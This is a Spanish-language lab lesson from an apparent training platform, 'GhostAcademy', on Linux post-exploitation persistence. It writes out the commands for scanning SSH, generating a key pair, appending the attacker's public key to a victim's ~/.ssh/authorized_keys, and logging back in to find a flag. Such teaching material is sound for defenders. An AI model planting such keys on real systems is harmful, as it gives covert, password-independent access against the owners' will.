GhostAcademy logo GhostAcademy

Maintaining Access I

POST-EXPLOTACIÓN LINUX PERSISTENCIA SSH KEYS AUTHORIZED_KEYS

🔑 Persistencia Linux mediante Claves SSH

La autenticación por clave pública SSH permite acceder a un sistema sin necesidad de contraseña, siempre que la clave privada del atacante corresponda a una clave pública registrada en ~/.ssh/authorized_keys de la víctima. Es una técnica de persistencia muy efectiva porque sobrevive a cambios de contraseña.

Técnica MITRE ATT&CK: T1098.004 - Account Manipulation: SSH Authorized Keys. Corresponde a la táctica TA0003 - Persistence.

Cómo funciona la autenticación por clave SSH

ComponenteDescripciónUbicación
Clave privadaPermanece en el atacante, nunca se transmite~/.ssh/id_rsa
Clave públicaSe instala en la víctima~/.ssh/authorized_keys
PermisosSSH rechaza claves con permisos inseguros700 (.ssh) / 600 (authorized_keys)

🔍 Fase 1 — Reconocimiento y acceso inicial

Escanear SSH
nmap -sS -sV <IP>
# Detecta OpenSSH en puerto 22/TCP
Obtener acceso inicial (según escenario)
msfconsole -q
# Usar exploit o credenciales conocidas para obtener shell

🔑 Fase 2 — Generar e instalar clave SSH

Generar par de claves en el atacante
# En la máquina del atacante:
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_ghost
# Genera: id_rsa_ghost (privada) e id_rsa_ghost.pub (pública)
Instalar clave pública en la víctima
# En la sesión de shell de la víctima:
mkdir -p ~/.ssh
echo "<contenido_de_id_rsa_ghost.pub>" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Los permisos son críticos. Si ~/.ssh o authorized_keys tienen permisos demasiado abiertos, el daemon SSH ignorará las claves autorizadas.

📶 Fase 3 — Verificar persistencia

Conectar sin contraseña
# Desde el atacante, usando la clave privada:
ssh -i ~/.ssh/id_rsa_ghost <usuario>@<IP>

# Incluso si la contraseña del usuario cambia, el acceso persiste
Obtener la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag

📋 Flujo del ataque

1
ReconocimientoDetectar OpenSSH activo en puerto 22.
2
Acceso inicialObtener shell como usuario válido.
3
GeneraciónCrear par de claves RSA en el atacante.
4
InstalaciónCopiar clave pública a authorized_keys de la víctima.
5
PersistenciaConectar con clave privada sin necesidad de contraseña.

🧠 Conceptos clave